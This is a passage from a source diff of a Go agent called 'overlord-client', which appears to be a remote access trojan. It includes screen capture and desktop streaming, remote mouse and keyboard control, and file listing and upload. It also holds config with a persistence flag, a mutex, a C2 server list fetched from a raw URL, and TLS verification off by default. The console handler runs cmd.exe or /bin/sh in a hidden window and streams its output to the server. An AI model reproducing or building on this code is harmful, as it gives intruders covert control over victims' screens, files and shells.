convAvg := avg(convertNs)
log.Printf("capture: win bitblt avg bitblt=%.2fms convert=%.2fms frames=%d", bitAvg, convAvg, frames)
}
func resizeNearest(src *image.RGBA, w, h int) *image.RGBA {
dst := image.NewRGBA(image.Rect(0, 0, w, h))
srcW := src.Bounds().Dx()
srcH := src.Bounds().Dy()
for y := 0; y < h; y++ {
sy := y * srcH / h
sp := sy * src.Stride
dp := y * dst.Stride
for x := 0; x < w; x++ {
sx := x * srcW / w
s := sp + sx*4
d := dp + x*4
dst.Pix[d+0] = src.Pix[s+0]
dst.Pix[d+1] = src.Pix[s+1]
dst.Pix[d+2] = src.Pix[s+2]
dst.Pix[d+3] = src.Pix[s+3]
}
}
return dst
}
type capState struct {
mu sync.Mutex
hdcMem uintptr
hbmp uintptr
buf []byte
stride int
w int
h int
bits unsafe.Pointer
}
func (s *capState) ensure(hdcScreen uintptr, w, h int) (uintptr, uintptr, []byte, int, error) {
s.mu.Lock()
defer s.mu.Unlock()
if s.hdcMem == 0 {
s.hdcMem = createCompatibleDC(hdcScreen)
if s.hdcMem == 0 {
return 0, 0, nil, 0, syscall.EINVAL
}
}
if s.w != w || s.h != h || s.hbmp == 0 {
bmi := bitmapInfo{
bmiHeader: bitmapInfoHeader{
biSize: uint32(unsafe.Sizeof(bitmapInfoHeader{})),
biWidth: int32(w),
biHeight: -int32(h),
biPlanes: 1,
biBitCount: 32,
biCompression: BI_RGB,
},
}
var bits unsafe.Pointer
newBmp := createDIBSection(s.hdcMem, &bmi, DIB_RGB_COLORS, &bits)
if newBmp == 0 || bits == nil {
return 0, 0, nil, 0, syscall.EINVAL
}
selectObject(s.hdcMem, newBmp)
if s.hbmp != 0 {
deleteObject(s.hbmp)
}
s.hbmp = newBmp
s.w = w
s.h = h
s.stride = w * 4
s.bits = bits
s.buf = unsafe.Slice((*byte)(bits), s.stride*h)
}
return s.hdcMem, s.hbmp, s.buf, s.stride, nil
}
func (s *capState) reset() {
s.mu.Lock()
defer s.mu.Unlock()
if s.hbmp != 0 {
deleteObject(s.hbmp)
s.hbmp = 0
}
if s.hdcMem != 0 {
deleteDC(s.hdcMem)
s.hdcMem = 0
}
s.buf = nil
s.stride = 0
s.w = 0
s.h = 0
s.bits = nil
}
func captureScale() float64 {
scaleOnce.Do(func() {
s := 1.0
if env := os.Getenv("OVERLORD_RD_SCALE"); env != "" {
if v, err := strconv.ParseFloat(env, 64); err == nil && v > 0.2 && v <= 1.5 {
s = v
}
}
cachedScale = s
})
return cachedScale
}
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,62 @@
//go:build windows
package capture
import (
"image"
"testing"
)
func TestDesktopDuplicationToggleResetsState(t *testing.T) {
dxgiState.mu.Lock()
dxgiState.display = 0
dxgiState.outputName = "test-output"
dxgiState.bounds = image.Rect(1, 2, 3, 4)
dxgiState.mu.Unlock()
SetDesktopDuplication(true)
if !useDesktopDuplication() {
t.Fatalf("expected desktop duplication to be enabled")
}
dxgiState.mu.Lock()
if dxgiState.display != -1 {
dxgiState.mu.Unlock()
t.Fatalf("expected display reset to -1, got %d", dxgiState.display)
}
if dxgiState.outputName != "" {
dxgiState.mu.Unlock()
t.Fatalf("expected outputName reset, got %q", dxgiState.outputName)
}
if dxgiState.bounds != (image.Rectangle{}) {
dxgiState.mu.Unlock()
t.Fatalf("expected bounds reset, got %+v", dxgiState.bounds)
}
dxgiState.mu.Unlock()
SetDesktopDuplication(false)
if useDesktopDuplication() {
t.Fatalf("expected desktop duplication to be disabled")
}
}
func TestCaptureDisplayDXGI(t *testing.T) {
if displayCount() == 0 {
t.Skip("no displays detected")
}
SetDesktopDuplication(true)
t.Cleanup(func() { SetDesktopDuplication(false) })
img, err := captureDisplayDXGI(0)
if err != nil {
t.Fatalf("dxgi capture failed: %v", err)
}
if img == nil {
t.Fatalf("dxgi capture returned nil image")
}
bounds := img.Bounds()
if bounds.Dx() <= 0 || bounds.Dy() <= 0 {
t.Fatalf("invalid capture bounds: %dx%d", bounds.Dx(), bounds.Dy())
}
}
+334
View File
@@ -0,0 +1,334 @@
package config
import (
"bufio"
"bytes"
"crypto/sha256"
"encoding/hex"
"encoding/json"
"fmt"
"io"
"log"
"net/http"
"net/url"
"os"
"runtime"
"strings"
"time"
)
const AgentVersion = "1.0.0"
var DefaultPersistence = "false"
var DefaultServerURL = "wss://127.0.0.1:5173"
var DefaultServerURLIsRaw = "false"
var DefaultMutex = ""
var DefaultID = ""
var DefaultCountry = ""
var DefaultAgentToken = ""
const settingsFile = "config/settings.json"
const serverIndexFile = "config/server_index.json"
type settings struct {
ID string `json:"id"`
HWID string `json:"hwid"`
Country string `json:"country"`
Version string `json:"version"`
}
type serverIndexData struct {
LastWorkingIndex int `json:"last_working_index"`
}
type Config struct {
ServerURLs []string
ServerIndex int
RawServerListURL string
Mutex string
ID string
HWID string
Country string
OS string
Arch string
Version string
CaptureInterval time.Duration
DisableCapture bool
EnablePersistence bool
TLSInsecureSkipVerify bool
TLSCAPath string
TLSClientCert string
TLSClientKey string
AgentToken string
}
func Load() Config {
server := strings.TrimSpace(os.Getenv("OVERLORD_SERVER"))
if server == "" {
server = DefaultServerURL
}
rawServerFlag := strings.TrimSpace(os.Getenv("OVERLORD_SERVER_RAW"))
if rawServerFlag == "" {
rawServerFlag = DefaultServerURLIsRaw
}
rawServerEnabled := isTruthy(rawServerFlag)
serverURLs := []string{}
rawServerListURL := ""
if rawServerEnabled {
rawServerListURL = server
if rawServerListURL != "" {
if urls, err := LoadServerURLsFromRaw(rawServerListURL); err != nil {
log.Printf("[config] WARNING: failed to load raw server list from %q: %v", rawServerListURL, err)
} else {
serverURLs = urls
}
}
} else {
for _, url := range strings.Split(server, ",") {
normalized, err := normalizeServerURL(url)
if err != nil {
log.Printf("[config] WARNING: invalid server URL %q: %v", strings.TrimSpace(url), err)
continue
}
if normalized != "" {
serverURLs = append(serverURLs, normalized)
}
}
}
serverIndex := loadServerIndex()
fileSettings := readSettings()
defaultHWID := deriveHWID()
interval := 20 * time.Second
if v := strings.TrimSpace(os.Getenv("OVERLORD_CAPTURE_INTERVAL")); v != "" {
if parsed, err := time.ParseDuration(v); err == nil && parsed > 0 {
interval = parsed
}
}
disableCapture := false
if v := strings.ToLower(strings.TrimSpace(os.Getenv("OVERLORD_DISABLE_CAPTURE"))); v != "" {
disableCapture = v == "true" || v == "1" || v == "yes"
}
enablePersistence := strings.ToLower(DefaultPersistence) == "true"
if v := strings.ToLower(strings.TrimSpace(os.Getenv("OVERLORD_ENABLE_PERSISTENCE"))); v != "" {
enablePersistence = v == "true" || v == "1" || v == "yes"
}
tlsInsecureSkipVerify := true
if v := strings.ToLower(strings.TrimSpace(os.Getenv("OVERLORD_TLS_INSECURE_SKIP_VERIFY"))); v != "" {
tlsInsecureSkipVerify = v == "true" || v == "1" || v == "yes"
}
tlsCAPath := strings.TrimSpace(os.Getenv("OVERLORD_TLS_CA"))
tlsClientCert := strings.TrimSpace(os.Getenv("OVERLORD_TLS_CLIENT_CERT"))
tlsClientKey := strings.TrimSpace(os.Getenv("OVERLORD_TLS_CLIENT_KEY"))
agentToken := strings.TrimSpace(os.Getenv("OVERLORD_AGENT_TOKEN"))
if agentToken == "" {
agentToken = strings.TrimSpace(DefaultAgentToken)
}
mutex := strings.TrimSpace(os.Getenv("OVERLORD_MUTEX"))
if mutex == "" {
mutex = DefaultMutex
}
mutexLower := strings.ToLower(strings.TrimSpace(mutex))
if mutexLower == "none" || mutexLower == "disabled" {
mutex = ""
}
return Config{
ServerURLs: serverURLs,
ServerIndex: serverIndex,
RawServerListURL: rawServerListURL,
Mutex: strings.TrimSpace(mutex),
ID: defaultHWID,
HWID: firstNonEmpty(fileSettings.HWID, defaultHWID),
EnablePersistence: enablePersistence,
Country: firstNonEmpty(strings.TrimSpace(fileSettings.Country), DefaultCountry),
OS: runtime.GOOS,
Arch: runtime.GOARCH,
Version: firstNonEmpty(fileSettings.Version, AgentVersion),
CaptureInterval: interval,
DisableCapture: disableCapture,
TLSInsecureSkipVerify: tlsInsecureSkipVerify,
TLSCAPath: tlsCAPath,
TLSClientCert: tlsClientCert,
TLSClientKey: tlsClientKey,
AgentToken: agentToken,
}
}
func isTruthy(value string) bool {
v := strings.ToLower(strings.TrimSpace(value))
return v == "true" || v == "1" || v == "yes" || v == "y"
}
func LoadServerURLsFromRaw(rawURL string) ([]string, error) {
trimmed := strings.TrimSpace(rawURL)
if trimmed == "" {
return nil, fmt.Errorf("raw server list URL is empty")
}
parsed, err := url.Parse(trimmed)
if err != nil {
return nil, err
}
if parsed.Scheme == "" {
parsed.Scheme = "https"
}
scheme := strings.ToLower(parsed.Scheme)
if scheme != "https" && scheme != "http" {
return nil, fmt.Errorf("unsupported raw server list scheme: %s", parsed.Scheme)
}
client := &http.Client{Timeout: 10 * time.Second}
resp, err := client.Get(parsed.String())
if err != nil {
return nil, err
}
defer resp.Body.Close()
if resp.StatusCode < 200 || resp.StatusCode >= 300 {
return nil, fmt.Errorf("unexpected status code %d", resp.StatusCode)
}
body, err := io.ReadAll(resp.Body)
if err != nil {
return nil, err
}
urls := []string{}
seen := map[string]struct{}{}
scanner := bufio.NewScanner(bytes.NewReader(body))
for scanner.Scan() {
line := strings.TrimSpace(scanner.Text())
if line == "" || strings.HasPrefix(line, "#") {
continue
}
normalized, err := normalizeServerURL(line)
if err != nil {
log.Printf("[config] WARNING: invalid server URL in raw list %q: %v", line, err)
continue
}
if normalized == "" {
continue
}
if _, ok := seen[normalized]; ok {
continue
}
seen[normalized] = struct{}{}
urls = append(urls, normalized)
}
if err := scanner.Err(); err != nil {
return nil, err
}
if len(urls) == 0 {
return nil, fmt.Errorf("raw server list returned no valid URLs")
}
return urls, nil
}
func loadServerIndex() int {
bytes, err := os.ReadFile(serverIndexFile)
if err != nil {
return 0
}
var data serverIndexData
if err := json.Unmarshal(bytes, &data); err != nil {
return 0
}
return data.LastWorkingIndex
}
func SaveServerIndex(index int) error {
data := serverIndexData{LastWorkingIndex: index}
bytes, err := json.Marshal(data)
if err != nil {
return err
}
return os.WriteFile(serverIndexFile, bytes, 0644)
}
func readSettings() settings {
bytes, err := os.ReadFile(settingsFile)
if err != nil {
return settings{}
}
var s settings
if err := json.Unmarshal(bytes, &s); err != nil {
return settings{}
}
return s
}
func firstNonEmpty(values ...string) string {
for _, v := range values {
if strings.TrimSpace(v) != "" {
return v
}
}
return ""
}
func deriveHWID() string {
h := sha256.New()
h.Write([]byte(hostname()))
h.Write([]byte("|"))
h.Write([]byte(os.Getenv("USERNAME")))
h.Write([]byte("|"))
h.Write([]byte(runtime.GOOS))
h.Write([]byte("|"))
h.Write([]byte(runtime.GOARCH))
return hex.EncodeToString(h.Sum(nil))
}
func hostname() string {
h, err := os.Hostname()
if err != nil {
return "unknown"
}
return h
}
func normalizeServerURL(raw string) (string, error) {
trimmed := strings.TrimSpace(raw)
if trimmed == "" {
return "", nil
}
normalized := trimmed
if !strings.Contains(normalized, "://") {
normalized = "wss://" + normalized
}
parsed, err := url.Parse(normalized)
if err != nil {
return "", err
}
switch strings.ToLower(parsed.Scheme) {
case "ws", "wss":
case "http":
parsed.Scheme = "ws"
case "https":
parsed.Scheme = "wss"
default:
return "", fmt.Errorf("unsupported scheme: %s", parsed.Scheme)
}
if parsed.Host == "" {
return "", fmt.Errorf("missing host")
}
parsed.Path = strings.TrimRight(parsed.Path, "/")
return parsed.String(), nil
}
@@ -0,0 +1,174 @@
package console
import (
"context"
"errors"
"io"
"os"
"os/exec"
"runtime"
"sync"
rt "overlord-client/cmd/agent/runtime"
"overlord-client/cmd/agent/wire"
)
type session struct {
id string
cmd *exec.Cmd
stdin io.WriteCloser
cancel context.CancelFunc
env *rt.Env
closed chan struct{}
once sync.Once
}
var sessions sync.Map
func shellCommand() []string {
if runtime.GOOS == "windows" {
return []string{"cmd.exe", "/d"}
}
return []string{"/bin/sh"}
}
func Start(ctx context.Context, env *rt.Env, sessionID string, _ int, _ int) error {
if sessionID == "" {
return errors.New("session id required")
}
Stop(sessionID)
parts := shellCommand()
cctx, cancel := context.WithCancel(ctx)
cmd := exec.CommandContext(cctx, parts[0], parts[1:]...)
if attr := platformSysProcAttr(); attr != nil {
cmd.SysProcAttr = attr
}
cmd.Env = append(os.Environ(), "CLINK_NOAUTORUN=1")
stdin, err := cmd.StdinPipe()
if err != nil {
cancel()
return err
}
stdout, err := cmd.StdoutPipe()
if err != nil {
cancel()
return err
}
stderr, err := cmd.StderrPipe()
if err != nil {
cancel()
return err
}
if err := cmd.Start(); err != nil {
cancel()
return err
}
sess := &session{id: sessionID, cmd: cmd, stdin: stdin, cancel: cancel, env: env, closed: make(chan struct{})}
sessions.Store(sessionID, sess)
go sess.forwardOutput(stdout)
go sess.forwardOutput(stderr)
go sess.waitExit()
return nil
}
func Stop(sessionID string) {
val, ok := sessions.LoadAndDelete(sessionID)
if !ok {
return
}
sess := val.(*session)
sess.cancel()
if sess.cmd.Process != nil {
_ = sess.cmd.Process.Kill()
}
sess.once.Do(func() { close(sess.closed) })
}
func Input(sessionID string, data string) error {
val, ok := sessions.Load(sessionID)
if !ok {
return errors.New("session not found")
}
sess := val.(*session)
if sess.stdin == nil {
return errors.New("stdin missing")
}
_, err := sess.stdin.Write([]byte(data))
return err
}
func Resize(_ string, _ int, _ int) {
}
func (s *session) forwardOutput(r io.Reader) {
buf := make([]byte, 4096)
for {
n, err := r.Read(buf)
if n > 0 {
clean := stripBackspaces(buf[:n])
if len(clean) > 0 {
_ = sendOutput(s.env, s.id, clean, nil, "")
}
}
if err != nil {
return
}
}
}
func (s *session) waitExit() {
err := s.cmd.Wait()
var codePtr *int
msg := ""
if err != nil {
if exitErr, ok := err.(*exec.ExitError); ok {
code := exitErr.ExitCode()
codePtr = &code
} else {
msg = err.Error()
}
} else {
code := 0
codePtr = &code
}
_ = sendOutput(s.env, s.id, nil, codePtr, msg)
sessions.Delete(s.id)
s.once.Do(func() { close(s.closed) })
}
func sendOutput(env *rt.Env, sessionID string, data []byte, exitCode *int, errMsg string) error {
payload := wire.ConsoleOutput{Type: "console_output", SessionID: sessionID}
if len(data) > 0 {
payload.Data = data
}
if errMsg != "" {
payload.Error = errMsg
}
if exitCode != nil {
payload.ExitCode = exitCode
}
return wire.WriteMsg(context.Background(), env.Conn, payload)
}
func stripBackspaces(src []byte) []byte {
out := make([]byte, 0, len(src))
for _, b := range src {
if b == '\b' {
if len(out) > 0 {
out = out[:len(out)-1]
}
continue
}
out = append(out, b)
}
return out
}
@@ -0,0 +1,9 @@
//go:build !windows
package console
import "syscall"
func platformSysProcAttr() *syscall.SysProcAttr {
return nil
}
@@ -0,0 +1,9 @@
//go:build windows
package console
import "syscall"
func platformSysProcAttr() *syscall.SysProcAttr {
return &syscall.SysProcAttr{HideWindow: true}
}
+83
View File
@@ -0,0 +1,83 @@
package main
import (
"context"
"fmt"
"log"
"os"
"path/filepath"
"runtime"
"runtime/debug"
"time"
)
const crashLogFileName = "crashlogC.log"
func handleFatalPanic() {
if r := recover(); r != nil {
reason := fmt.Sprintf("panic: %v", r)
stack := debug.Stack()
path := writeCrashLog(reason, stack)
log.Printf("[fatal] %s (see %s)", reason, path)
os.Exit(1)
}
}
func fatalExit(reason string, err error) {
if err != nil {
reason = fmt.Sprintf("%s: %v", reason, err)
}
if reason == "" {
reason = "fatal error"
}
stack := debug.Stack()
path := writeCrashLog(reason, stack)
log.Printf("[fatal] %s (see %s)", reason, path)
os.Exit(1)
}
func goSafe(label string, cancel context.CancelFunc, fn func()) {
go func() {
defer recoverAndLog(label, cancel)
fn()
}()
}
func recoverAndLog(label string, cancel context.CancelFunc) {
if r := recover(); r != nil {
reason := fmt.Sprintf("%s panic: %v", label, r)
stack := debug.Stack()
path := writeCrashLog(reason, stack)
log.Printf("[panic] %s (see %s)", reason, path)
if cancel != nil {
cancel()
}
}
}
func writeCrashLog(reason string, stack []byte) string {
dir := crashLogDir()
_ = os.MkdirAll(dir, 0700)
path := filepath.Join(dir, crashLogFileName)
file, err := os.OpenFile(path, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0600)
if err != nil {
log.Printf("[fatal] failed to open crash log %s: %v", path, err)
return path
}
defer file.Close()
timestamp := time.Now().UTC().Format(time.RFC3339)
_, _ = fmt.Fprintf(file, "\n=== %s ===\n", timestamp)
_, _ = fmt.Fprintf(file, "GOOS=%s GOARCH=%s\n", runtime.GOOS, runtime.GOARCH)
_, _ = fmt.Fprintf(file, "Reason: %s\n", reason)
if len(stack) > 0 {
_, _ = fmt.Fprintf(file, "Stack:\n%s\n", string(stack))
}
return path
}
func crashLogDir() string {
return os.TempDir()
}
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,92 @@
package handlers
import (
"context"
"log"
"overlord-client/cmd/agent/capture"
rt "overlord-client/cmd/agent/runtime"
"sync"
"time"
)
var (
persistedDisplayValue int
persistedDisplayMu sync.Mutex
)
func persistDisplaySelection(display int) {
persistedDisplayMu.Lock()
persistedDisplayValue = display
persistedDisplayMu.Unlock()
}
func GetPersistedDisplay() int {
persistedDisplayMu.Lock()
defer persistedDisplayMu.Unlock()
return persistedDisplayValue
}
func DesktopStart(ctx context.Context, env *rt.Env) error {
interval, fps := streamInterval("OVERLORD_DESKTOP_MAX_FPS", 60)
log.Printf("desktop: starting stream (max fps %d)", fps)
ticker := time.NewTicker(interval)
defer ticker.Stop()
for {
select {
case <-ctx.Done():
log.Printf("desktop: stopping stream")
return nil
case <-ticker.C:
if err := capture.Now(ctx, env); err != nil {
if ctx.Err() != nil {
log.Printf("desktop: stopping stream")
return nil
}
log.Printf("desktop: capture error: %v", err)
}
}
}
}
func DesktopSelect(ctx context.Context, env *rt.Env, display int) error {
prev := env.SelectedDisplay
maxDisplays := capture.MonitorCount()
if display < 0 || display >= maxDisplays {
log.Printf("desktop: WARNING - requested display %d out of range (0-%d), clamping to 0", display, maxDisplays-1)
display = 0
}
env.SelectedDisplay = display
persistDisplaySelection(display)
if prev != display {
capture.ResetPrev()
capture.ResetDesktopCapture()
}
log.Printf("desktop: set selected display from %d to %d (reported monitors=%d, will capture monitor at index %d)", prev, display, maxDisplays, display)
return nil
}
func DesktopMouseControl(ctx context.Context, env *rt.Env, enabled bool) error {
env.MouseControl = enabled
return nil
}
func DesktopKeyboardControl(ctx context.Context, env *rt.Env, enabled bool) error {
env.KeyboardControl = enabled
return nil
}
func DesktopCursorControl(ctx context.Context, env *rt.Env, enabled bool) error {
env.CursorCapture = enabled
capture.SetCursorCapture(enabled)
return nil
}
func DesktopDuplicationControl(ctx context.Context, env *rt.Env, enabled bool) error {
env.DesktopDuplication = enabled
capture.SetDesktopDuplication(enabled)
capture.ResetPrev()
capture.ResetDesktopCapture()
capture.ResetMonitorCache()
return nil
}
@@ -0,0 +1,28 @@
package handlers
import "overlord-client/cmd/agent/capture"
func resolveDesktopPoint(display int, x, y int32) (int32, int32) {
bounds := capture.DisplayBounds(display)
if bounds.Dx() <= 0 || bounds.Dy() <= 0 {
return x, y
}
absX := int32(bounds.Min.X) + x
absY := int32(bounds.Min.Y) + y
if absX < int32(bounds.Min.X) {
absX = int32(bounds.Min.X)
}
if absY < int32(bounds.Min.Y) {
absY = int32(bounds.Min.Y)
}
if absX >= int32(bounds.Max.X) {
absX = int32(bounds.Max.X - 1)
}
if absY >= int32(bounds.Max.Y) {
absY = int32(bounds.Max.Y - 1)
}
return absX, absY
}
@@ -0,0 +1,70 @@
package handlers
import (
"context"
"fmt"
"log"
"overlord-client/cmd/agent/runtime"
)
type Dispatcher struct {
Env *runtime.Env
}
func NewDispatcher(env *runtime.Env) *Dispatcher {
return &Dispatcher{Env: env}
}
func (d *Dispatcher) Dispatch(ctx context.Context, envelope map[string]interface{}) (err error) {
defer func() {
if r := recover(); r != nil {
log.Printf("dispatcher: panic: %v", r)
err = fmt.Errorf("dispatcher panic: %v", r)
}
}()
msgTypeRaw := envelope["type"]
msgType, _ := msgTypeRaw.(string)
if msgType == "" {
log.Printf("dispatcher: missing type (keys=%v)", envelopeKeys(envelope))
return nil
}
switch msgType {
case "hello_ack":
return HandleHelloAck(ctx, d.Env, envelope)
case "ping":
log.Printf("dispatcher: received ping")
return HandlePing(ctx, d.Env, envelope)
case "pong":
return HandlePong(ctx, d.Env, envelope)
case "command":
log.Printf("dispatcher: handling command type=%s", envelope["commandType"])
return HandleCommand(ctx, d.Env, envelope)
case "plugin_event":
return HandlePluginEvent(ctx, d.Env, envelope)
case "notification_config":
return HandleNotificationConfig(ctx, d.Env, envelope)
case "command_abort":
cmdID, _ := envelope["commandId"].(string)
if cmdID != "" {
if cancelCommand(cmdID) {
log.Printf("dispatcher: cancelled command %s", cmdID)
} else {
log.Printf("dispatcher: command %s not found or already completed", cmdID)
}
}
return nil
default:
log.Printf("dispatcher: unknown message type=%v", msgType)
return nil
}
}
func envelopeKeys(envelope map[string]interface{}) []string {
keys := make([]string, 0, len(envelope))
for key := range envelope {
keys = append(keys, key)
}
return keys
}
@@ -0,0 +1,304 @@
package handlers
import (
"context"
"errors"
"testing"
"overlord-client/cmd/agent/config"
rt "overlord-client/cmd/agent/runtime"
"overlord-client/cmd/agent/wire"
"github.com/vmihailenco/msgpack/v5"
)
func TestHandlePing(t *testing.T) {
writer := &testWriter{}
env := &rt.Env{
Conn: writer,
Cfg: config.Config{},
}
ctx := context.Background()
envelope := map[string]interface{}{
"ts": float64(1234567890),
}
if err := HandlePing(ctx, env, envelope); err != nil {
t.Fatalf("HandlePing failed: %v", err)
}
if len(writer.msgs) < 1 {
t.Fatal("Expected at least 1 message")
}
var pong wire.Pong
if err := msgpack.Unmarshal(writer.msgs[0], &pong); err != nil {
t.Fatalf("Failed to unmarshal pong: %v", err)
}
if pong.Type != "pong" {
t.Errorf("Expected type 'pong', got '%s'", pong.Type)
}
expectedTS := int64(1234567890)
if pong.TS != expectedTS {
t.Errorf("Expected timestamp %d, got %d", expectedTS, pong.TS)
}
}
func TestHandleCommand_Ping(t *testing.T) {
writer := &testWriter{}
env := &rt.Env{
Conn: writer,
Cfg: config.Config{},
}
ctx := context.Background()
envelope := map[string]interface{}{
"type": "command",
"commandType": "ping",
"id": "cmd-ping-1",
"ts": float64(1234567890),
}
if err := HandleCommand(ctx, env, envelope); err != nil {
t.Fatalf("HandleCommand(ping) failed: %v", err)
}
if len(writer.msgs) < 1 {
t.Fatal("Expected at least 1 message")
}
var firstMsg map[string]interface{}
if err := msgpack.Unmarshal(writer.msgs[0], &firstMsg); err != nil {
t.Fatalf("Failed to unmarshal first message: %v", err)
}
msgType, _ := firstMsg["type"].(string)
t.Logf("First message type: %s", msgType)
}
func TestHandleCommand_Desktop(t *testing.T) {
writer := &testWriter{}
env := &rt.Env{
Conn: writer,
Cfg: config.Config{},
}
ctx := context.Background()
envelope := map[string]interface{}{
"type": "command",
"commandType": "desktop",
"id": "cmd-desktop-1",
"payload": map[string]interface{}{},
}
if err := HandleCommand(ctx, env, envelope); err != nil {
t.Fatalf("HandleCommand(desktop) failed: %v", err)
}
t.Logf("Desktop command sent %d messages", len(writer.msgs))
}
func TestHandleCommand_ProcessList(t *testing.T) {
writer := &testWriter{}
env := &rt.Env{
Conn: writer,
Cfg: config.Config{},
}
ctx := context.Background()
envelope := map[string]interface{}{
"type": "command",
"commandType": "process_list",
"id": "cmd-proc-1",
"payload": map[string]interface{}{},
}
if err := HandleCommand(ctx, env, envelope); err != nil {
t.Fatalf("HandleCommand(process_list) failed: %v", err)
}
if len(writer.msgs) != 1 {
t.Fatalf("Expected 1 message, got %d", len(writer.msgs))
}
var result wire.ProcessListResult
if err := msgpack.Unmarshal(writer.msgs[0], &result); err != nil {
t.Fatalf("Failed to unmarshal result: %v", err)
}
if result.Type != "process_list_result" {
t.Errorf("Expected process_list_result")
}
}
func TestHandleCommand_FileList(t *testing.T) {
writer := &testWriter{}
env := &rt.Env{
Conn: writer,
Cfg: config.Config{},
}
ctx := context.Background()
tmpDir := t.TempDir()
envelope := map[string]interface{}{
"type": "command",
"commandType": "file_list",
"id": "cmd-file-1",
"payload": map[string]interface{}{"path": tmpDir},
}
if err := HandleCommand(ctx, env, envelope); err != nil {
t.Fatalf("HandleCommand(file_list) failed: %v", err)
}
if len(writer.msgs) != 1 {
t.Fatalf("Expected 1 message, got %d", len(writer.msgs))
}
var result wire.FileListResult
if err := msgpack.Unmarshal(writer.msgs[0], &result); err != nil {
t.Fatalf("Failed to unmarshal result: %v", err)
}
if result.Type != "file_list_result" {
t.Errorf("Expected file_list_result")
}
}
func TestHandleCommand_UnknownCommand(t *testing.T) {
writer := &testWriter{}
env := &rt.Env{
Conn: writer,
Cfg: config.Config{},
}
ctx := context.Background()
envelope := map[string]interface{}{
"type": "command",
"commandType": "unknown_command_xyz",
"id": "cmd-unknown-1",
"payload": map[string]interface{}{},
}
if err := HandleCommand(ctx, env, envelope); err != nil {
t.Logf("Unknown command returned error (expected): %v", err)
}
t.Logf("Unknown command handling sent %d messages", len(writer.msgs))
}
func TestHandleCommand_DisconnectTriggersReconnect(t *testing.T) {
writer := &testWriter{}
env := &rt.Env{
Conn: writer,
Cfg: config.Config{},
}
ctx := context.Background()
envelope := map[string]interface{}{
"type": "command",
"commandType": "disconnect",
"id": "cmd-disconnect-1",
}
err := HandleCommand(ctx, env, envelope)
if !errors.Is(err, ErrReconnect) {
t.Fatalf("expected ErrReconnect, got %v", err)
}
if len(writer.msgs) < 1 {
t.Fatal("expected command_result response")
}
var result wire.CommandResult
if err := msgpack.Unmarshal(writer.msgs[0], &result); err != nil {
t.Fatalf("failed to unmarshal command_result: %v", err)
}
if !result.OK {
t.Fatalf("expected ok=true, got false")
}
}
func TestHandleCommand_ReconnectTriggersReconnect(t *testing.T) {
writer := &testWriter{}
env := &rt.Env{
Conn: writer,
Cfg: config.Config{},
}
ctx := context.Background()
envelope := map[string]interface{}{
"type": "command",
"commandType": "reconnect",
"id": "cmd-reconnect-1",
}
err := HandleCommand(ctx, env, envelope)
if !errors.Is(err, ErrReconnect) {
t.Fatalf("expected ErrReconnect, got %v", err)
}
if len(writer.msgs) < 1 {
t.Fatal("expected command_result response")
}
var result wire.CommandResult
if err := msgpack.Unmarshal(writer.msgs[0], &result); err != nil {
t.Fatalf("failed to unmarshal command_result: %v", err)
}
if !result.OK {
t.Fatalf("expected ok=true, got false")
}
}
func TestCommandPayloadExtraction(t *testing.T) {
tests := []struct {
name string
payload interface{}
key string
expected interface{}
}{
{
name: "StringValue",
payload: map[string]interface{}{"path": "/test/path"},
key: "path",
expected: "/test/path",
},
{
name: "IntValue",
payload: map[string]interface{}{"pid": float64(1234)},
key: "pid",
expected: float64(1234),
},
{
name: "BoolValue",
payload: map[string]interface{}{"recursive": true},
key: "recursive",
expected: true,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
payloadMap, ok := tt.payload.(map[string]interface{})
if !ok {
t.Fatal("Payload is not a map")
}
value, exists := payloadMap[tt.key]
if !exists {
t.Errorf("Key %s not found in payload", tt.key)
}
if value != tt.expected {
t.Errorf("Expected %v, got %v", tt.expected, value)
}
})
}
}
@@ -0,0 +1,38 @@
package handlers
import "encoding/json"
func extractTimestamp(v interface{}) int64 {
switch t := v.(type) {
case uint64:
if t <= uint64(^uint64(0)>>1) {
return int64(t)
}
return 0
case uint32:
return int64(t)
case uint16:
return int64(t)
case uint8:
return int64(t)
case int64:
return t
case int32:
return int64(t)
case int16:
return int64(t)
case int8:
return int64(t)
case int:
return int64(t)
case float64:
return int64(t)
case float32:
return int64(t)
case json.Number:
if n, err := t.Int64(); err == nil {
return n
}
}
return 0
}
+950
View File
@@ -0,0 +1,950 @@
package handlers
import (
"archive/zip"
"bufio"
"bytes"
"context"
"fmt"
"io"
"log"
"os"
"path/filepath"
"runtime"
"strings"
"sync"
"time"
"unicode/utf8"
agentRuntime "overlord-client/cmd/agent/runtime"
"overlord-client/cmd/agent/wire"
)
const maxChunkSize = 1024 * 1024
type pendingUpload struct {
file *os.File
tmpPath string
finalPath string
total int64
receivedBytes int64
receivedOffsets map[int64]int64
chunkSize int64
expectedChunks int
transferID string
}
var (
pendingUploadsMu sync.Mutex
pendingUploads = map[string]*pendingUpload{}
)
func uploadKey(path, transferID string) string {
if transferID != "" {
return transferID
}
return path
}
func cleanupPendingUpload(key string, pending *pendingUpload) {
pendingUploadsMu.Lock()
delete(pendingUploads, key)
pendingUploadsMu.Unlock()
if pending == nil {
return
}
if pending.file != nil {
_ = pending.file.Close()
}
if pending.tmpPath != "" {
_ = os.Remove(pending.tmpPath)
}
}
func HandleFileList(ctx context.Context, env *agentRuntime.Env, cmdID string, path string) error {
log.Printf("file_list: %s", path)
if path == "" {
path = "."
}
if path == "." && runtime.GOOS == "windows" {
return listWindowsDrives(ctx, env, cmdID)
}
if path == "." && runtime.GOOS != "windows" {
if homeDir, err := os.UserHomeDir(); err == nil {
path = homeDir
}
}
absPath, err := filepath.Abs(path)
if err == nil {
path = absPath
}
entries := []wire.FileEntry{}
var errMsg string
dirEntries, err := os.ReadDir(path)
if err != nil {
errMsg = err.Error()
log.Printf("file_list error: %v", err)
} else {
for _, entry := range dirEntries {
info, err := entry.Info()
if err != nil {
continue
}
fullPath := filepath.Join(path, entry.Name())
fileEntry := wire.FileEntry{
Name: entry.Name(),
Path: fullPath,
IsDir: entry.IsDir(),
Size: info.Size(),
ModTime: info.ModTime().Unix(),
}
enrichFileEntry(&fileEntry, info)
entries = append(entries, fileEntry)
}
}
result := wire.FileListResult{
Type: "file_list_result",
CommandID: cmdID,
Path: path,
Entries: entries,
Error: errMsg,
}
return wire.WriteMsg(ctx, env.Conn, result)
}
func listWindowsDrives(ctx context.Context, env *agentRuntime.Env, cmdID string) error {
